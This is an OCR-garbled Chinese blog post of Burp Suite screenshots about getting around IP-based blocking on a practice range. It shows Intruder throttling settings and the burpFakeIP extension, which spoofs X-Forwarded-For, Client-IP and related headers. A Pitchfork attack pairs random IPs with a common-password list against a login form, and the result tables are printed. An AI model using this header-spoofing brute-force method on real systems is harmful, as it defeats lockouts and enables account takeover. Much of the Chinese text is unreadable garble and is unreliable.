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$Burp Suite Professional v1.T 30 — Temporary Project — fghfghfgh - |0
Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder T Repeater I Sequencer T Decoder I Cornparer T Extender T Project options I User options I.-"—\|Er15 ]

B o« |7 = [ 8 = [..

[Target T Fasitions I Payloads I Options 1

@ Request Headers Start attack | |

G These settings control whether Intruder updates the configured request headers during attacks.

[ Update Content-Length header

] Set Connection: close

Reguest Engine

These settings contral the engine used for making HTTF requests when perfarming attacks.

6] =)

Murnber of threads: 5
Murnber of retries on network failure: 3
Pause before retry (milliseconds): 2000
Throttle {millisecands): @ Fixed 200
() Yariahle: start |0 step | 30000
Start time: ® Immediately
O In 10 minutes
() Paused

~| Attack Results
G These settings control what information is captured in attack results.

[ Store requests s L E .
Ll S4orn vocnon il

LRAEHS, VA A 200 F)

KR BRAE RN R IR KR, Nz 7E I 58 M

LRAEH6, VA6 2002 < Hiban

LAEHS5, ViR AR 1502 & Hban

AR IEFEE RS MM ER MR ER AR, MRKRFKARXAMEHbanT
B AT WO B

BM, BRUAERAARKIPp

BIJLRAE T M TE], 3R 0 S X REM KN TE 52 T, = HCE ANMEpythonfRig, RAE R T L0455l oh H LA E
o TERU B, A A KA

FRIRREEE, REMAEFHEsqmapt, AAA G Eburp My 2% L
SRIGTEE B LB R Bk

HE T — NburpiiE 4 burpFaKeip

XAMEG R TIRAEF IS, A U ThER


https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247538507&idx=1&sn=012e95638679390d727ad9ac76f8093a&chksm=ebea1e66dc9d977076c87f955d303509c6a5dee9f498e18669ed25463d9403d7bd7fa2935277&scene=21#wechat_redirect

. fhiEdesEip
P38 7 Hhip
Rt FEHLip
FEMLip R

1

2.
3.
4.

AR R T, ARZERMAERT TR

HEEARS (AEFE—)

—& ) LRI PTA S A BUR R P RE, BRAERREZMRONFERFX A —T . RELEILIpBEEKI T, Wik
TEE IR

Request k| Payload1 | Payload2 | Status | Error | Timeout | Length | Car
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7 106.54.253.36 woaini1314 200 O [] 3889

] 222.30.82.80 zxcvbnm 200 O [] 3886

a 210.43.3.92 root 200 O ] 3883

10 106.95.172.222 o 123456 200 O [] 387

1 B1.237.194.205 password 200 O ] 3887

12 162.89.64.80 abc123456 200 O [] 3888

13 12323280217 1234563 200 O [ 3886

14 61.233.202.34 1234567894 200 L R O = = =

15 106.93.131.0 abe123 200 o EG s d
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Burp Project Intruder Repeater Window Help

I Burp Suite Professional v2.0.11beta - Temporary Project - licensed to By Jas502n

@msm APIlepﬁons

Dashboard | Target meilntrudar Rspaa‘lsrls-aqmnmr]Decoder1Cmpamr¥Pmpclop&nns1Uwapﬁms]

Burp Extensions

Extensions let you customize

I:iehﬂ)r using your own or third-party code.

E&MlEmm

Passive Scan Client 0.1

[ Extension loaded

Name: .Passma Scan Client 0.1

item

"I: i

Extension type Java
Filename

C\Users\admin'Desktop'\passive-scan-client-0.1 jar




4Burp Suite Professional w1 T7.30 — Temporary Project — fghfghfgh !EE
Burp Intruder Repeater Window Help

[Target I Prosxy I Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer TExtender T Project options T User options TAIerTs ]

%Load Burp Extenzion !EE
J Extensions | BApp Stor

Please enter the details of the extension, and how you would like to handle standard output and errar.
Burp Extensions 1

Extension Details

Extension type: Java v
| Add || Loaded

el Extension file (jar: | {&fF\burpFakelP-mastenbinfakelP.jar %
Up Standard Cutpul L

®

Extensions let you custor

Rermaove

—— EHH() | bin b (@) (@) (@) [E)(=)
l Down J () Output to syst
() Save to file: [ fakelP jar
Details Err ®) Show in Ul
. 3 -
] Extension lnaded Standard Error LzJ
MName: W -
() Qutput to syst LS
tem O Savetofile: [ EikaEd:  fakelPjar
Bdtensiontype @ ShowinUl | XHRE) | HEXH ™
Filenarne
it F B
HTTP listeners -

Context menu provider
Intruder payload gener

XM T, AREREYLIp BRI T
1. BEIEE K% Intrudert& ik 7EPositions 1 Y #eAttack type N Pitchfork i 2, 1% 817 4 25 1K) D it 2 B, DA B 78 B IRl 1) 2 B
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Burp Project Intruder Repeater Window Help

Extender |  Projectoptions |  Useroptions |  |SONBeautifier | SHELUNG | co2 | Attack Surface Detector | upload scanner
Dashboard I Target T Proxy ] Intruder M Sequencer I Decoder ] Comparer

iImA

[I] Cancel | | <|v >|= | Target hup://. 00 W umm 2 (7)

Request Response

[ Raw | Params | Headers | Hex | CRaw  Headers Hex  JSON Beautifier
POST /login HTTP/L.1 ] none
Host: 39 e
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: */=
Accept-Language: en
Accept=Encoding* gzip, deflate
Referer: http:/
Content-Type: npplicnionm-m-fn:m-u:ltncodod. charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 64
Connection: close
i e

X-Forwarded-For:208.212.231.193
X-Forwarded-Host:208.212.231.193
X-Client-IP:208.212.231.1%3
¥-remote-IP:208.212.231.193
¥-remote-addr:208.212.231.19%93
True-Client-IP:208.212.231.193
X-Client-IP:208.212.231.193
Client-IP:208.212.231.193 |]

username=CoolCatspaseword=267eT7fc08234bedb627cT799£2ded9dbY6code=

v v
@ E] [3 E] | Type a search term ] 0 matches @ lj [j [_] Type.lf?(,_._zremf‘f"l ' B rj-‘]'c f -‘—.;J
@7

Done CSDN
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Burp Project Intruder Repeater Window Help

Extender |  Projectoptions |  Useroptions |  |SONBeautifier | SHELUNG | co2 | Attack Surface Detector | upload scanner
Dashboard I Target I Proxy M Repeater ] Sequencer I Decoder I Comparer

mme

Target Payloads | Options

(@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see
help for full detalls,

Attack type: | Pitchfork ﬂ

POST /logim HTTP/1.1 " (e
Host: J..rvwrec. rowee l Add § J
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; rv:67.0) Gecko/20100101 Pirefox/67.0

Accept: ®/* Clear §
Accept-Language: en

Accept-Encoding: gzip, deflate

Referer: http:, W mim N W N N oW Auto §
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Reguested-With: XMLHttpReguest Refresh
Content-Length: &4

Connection: close

Cookie: testCookie=CoolCat
X-Forwarded-For:§208.212.231.193§

username=CoolCatspassword=§testessssesass

-
|

®@ | <]|[+][>]]|veeasearchierm S g e ey Omatches I[ Clear
o f==. e
S =: i 2CKREAC
n 4 .
iy %E}DH @zkz(

2 payload positions

EBRXBEEFMANMIE, ipMkSED
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Burp Project uder Repeater Window Help

Extender Projectoptions |  Useroptions |  JSONBeautifier | SHELLNG | coz | Attack Surface Detector | upload Scanner
Dashboar: ] Target I Proxy M Repeater T Sequencer I Decoder ] Comparer
1 x .
Targe | rosions | rayioads | Optons
(?) Payload Sets FP—
You can define one ol re payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each
payload set, and load type can be customized in different ways.
Payload set: |1 | B Payload count: unknown
1

Payload type: [E:mnsinn-ﬂncnmd H Request count: 0

® Payload Opti [Extension-generated]
This payload nvokes a Burp extension to generate payloads.

Selected gene

r: [NOT SELECTED] Select payload g

® Select the extension-provided payload generator that
you want to use. Burp extensions can be loaded using

@ Payload Processing

You can define rules to perform various processing tasks or

| Add | Enabled | Rule
[=] Base64-encode

Edit | 8] Hash: MD5 B .
Remove | »>

® Payload Encoding
This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

Ay

=, iES: Hac
-

o
# URL-encode these characters: -,
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Burp Project Infuder Repeater Window Help
Extender Projectoptions |  Useroptions |  JSONBeautifier | SHELLNG | coz2 | Attack Surface Detector | upload scanner
Dashboa I Target I Proxy Repeater ] Sequencer I Decoder I Comparer
e
Target | Positions ‘Options
'
(@ Payload Sets Startamack | M\
You can define on ore payload sets. The ber of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each
payload set, and eac’Mpayload type can be customized in different ways.
Payload set: |2 a Payload count: 500
Payload type: [Slmph list H Request count: 500
@ Payload Optiongl [Simple list]
This payload ty| you configure a simple list of strings that are used as payloads.
| Ppaste | | 123456 i
password
" Load .. | | 12345678
1234
| Remove | | PUSSY »
12345
Clear ] dragon
gqwerty
696969
v
[ add | [Enter 2 newitem
| Add from list ... v
/
@ Payload Processing
You can define rules to perform various processing tasks on each payload before it is used.
| Add | |Enabled | Rule
| Edit P =TI P DY S
\_J Lr,, l-—. ‘S rlach '_J'_‘:’clr_l
[ > CSDN @zkzefy

AR5 BR T DA S 7 Start attack TR 451215 .




Attack Save Columns

j Results TTargEt T Positions T Payloads Tﬂptinrls ]

| Filter: Showing all items

Request .d-‘.lll;"-'“-"" I Payload? Status | Error | Redire... | Timeout | Length | Comment
0 200 O o O 1209 al
1 176.170.154.67 123456 200 O \] O 1208 |
2 57.58.181.176 password 200 O 0 O 1208
3 112.111.8.92 12345678 200 O \] O 1208 [
4 34.239.1758.243 1234 200 O 0 O 1208
5 70.62.22.179 pussy 200 O \] O 1208 [
6 133.152.21.26 12345 200 O 0 O 1208
7 220.98.43.214 dragon 200 O 1] O 1209
8 223.103.52.175 qwerty 200 O 0 O 1208
9 242.253.36.233 696969 200 O \] O 1208
10 153.134.151.149 mustang 200 O 0 O 1208
11 23.225.201.205 letmein 200 O \] O 1208
12 209.51.120.158 baseball 200 O 0 O 1208 -
1 AT 218 74 150 mactar e lalal — n — 1300 ¥
41_ J LS
_[ Request T Response ]
j IlawT Params T Headers T Hex ]
FOST flogin HTTE/1.1 i
Host: 39. = = -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 085 X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: en |
Accept-Encoding: gzip, deflate |
Referer: http://3¢ n
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
¥-Reguested-With: ¥MLHttpReguest
Content-Length: 32
Connection: close
Cookie: testCoo =
username=CoolCatipassword=dragon
-
v

@ = - + - > - Type a search term
74 of 500 [l

RS Hac ke
HnciBlan redn nabu LTSRN A8

XA T B4 P B ThRE R 7T LA I 4 2 fip
HAEKRBEMAZ U T, AT

3 E B 5 R L fakeipfi F #0RE R S & k.
https://blog.csdn.net/weixin_44203158/article/details/107234784

BAVSE DR, EBBINXER 2 EEE L XMk, TARBFREREFMA —REGHR. XA SERIMERNIE
WRBALBHE AR FE, BkER 8] A A BlfakeipiX 4 7 K1 -
BRI ZNEBERER LR RRET X,


https://blog.csdn.net/weixin_44203158/article/details/107234784

ISR Be T BN FLHINACK.LKd].. ..

= [ FEInEERIA...

2#imiR= T-soheE EEGHS...

3#ussER F! RS hE R

EEE=E T B

F.mpd
:lirl net’hackzkaag

i fofe) o= SR @7l



	“封神台”靶场跑不了爆破，临时解决办法（亲测有效）
	第一种，降低访问频率


